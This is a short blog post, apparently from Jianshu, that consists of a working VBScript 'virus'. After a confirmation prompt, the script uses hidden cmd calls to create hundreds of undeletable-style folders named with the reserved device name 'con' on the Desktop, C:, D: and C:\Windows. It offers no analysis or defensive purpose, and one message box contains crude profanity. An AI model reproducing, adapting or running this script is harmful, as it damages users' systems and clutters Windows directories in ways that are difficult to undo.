病毒

Set WshShell=Wscript.CreateObject("Wscript.Shell")
if WshShell is Nothing then
msgbox"我叼你妈的WSH都没了怎么耍???"
else
msgbox "警告:这是一个病毒" & chr(10) & chr(13) & "如果你没傻的话请结束这个进程"
    if msgbox("确定启动病毒?",vbokcancel) = vbok then
    msgbox("...")
    dkp=WshShell.SpecialFolders("Desktop")
    Set Fso = CreateObject("Scripting.FileSystemObject")
    dim random
    for i = 0 to 200
    wshshell.run "cmd /c md " & dkp & "\" & "con." & int(rnd()*100000) & "\",vbhide
    wscript.sleep 5
    next
    dkp="C:"
    for i = 0 to 200
    wshshell.run "cmd /c md " & dkp & "\" & "con." & int(rnd()*100000) & "\",vbhide
    wscript.sleep 5
    next
    dkp="D:"
    for i = 0 to 200
    wshshell.run "cmd /c md " & dkp & "\" & "con." & int(rnd()*100000) & "\",vbhide
    wscript.sleep 5
    next
    dkp="C:\Windows"
    for i = 0 to 200
    wshshell.run "cmd /c md " & dkp & "\" & "con." & int(rnd()*100000) & "\",vbhide
    wscript.sleep 5
    next
    else
    msgbox("聪明人")
    end if
end if
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 杨澜采访周国平时,曾问:“为什么我们都把好脾气留给外人,却把坏脾气留给最爱的人?” 一向温和的周国平也说:“这个错...
    曲幽兰阅读 3,961评论 0 0
  • 今天孩子的奶奶让回家吃烧烤,回去后听到这样一个事件。 孩子的大姑叫孩子的小姑婆一起去打麻将,结果小姑婆输了九百多,...
    a39b9dc789e9阅读 2,383评论 0 0
  • 你找个理由让我平衡 你找个借口让我接受 我知道你现在的想法 而你却不知道我的感受 天好黑, 风好冷 别说是时间把你...
    蘭芯阅读 1,781评论 0 0